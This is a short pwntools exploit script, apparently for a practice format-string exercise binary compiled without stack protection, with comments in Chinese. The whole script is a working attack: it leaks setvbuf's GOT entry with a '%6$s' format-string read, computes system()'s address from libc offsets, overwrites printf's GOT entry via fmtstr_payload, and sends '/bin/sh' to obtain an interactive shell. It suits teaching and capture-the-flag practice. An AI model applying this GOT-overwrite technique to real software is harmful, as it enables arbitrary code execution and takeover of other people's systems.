#Encoding=utf-8
#编译方式：gcc exercise_fmtstr.c -fno-stack-protector -m32 -o exercise_fmtstr
from pwn import *
context.log_level = 'DEBUG'
context.terminal = ['terminator', '-e']

p = process('./fmtstr')

#1.泄露got
elf = ELF('./fmtstr')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
setvbuf_got = elf.got['setvbuf']

p.recvuntil('message:\n')
p.sendline("aaaaaa")
p.recvuntil('aaaaaa\n')

payload = p32(setvbuf_got)+'%6$s'
p.sendline(payload)
setvbuf_addr = u32(p.recvuntil('\xf7')[-4:])

#2. 计算system地址 
system_addr = setvbuf_addr-libc.sym['setvbuf']+libc.sym['system']
print hex(system_addr)

#3. 写got 
printf_got = elf.got['printf']
print hex(printf_got)
payload= fmtstr_payload(6,{printf_got:system_addr},write_size='byte')

p.sendline(payload)

p.sendline('/bin/sh')
p.interactive()


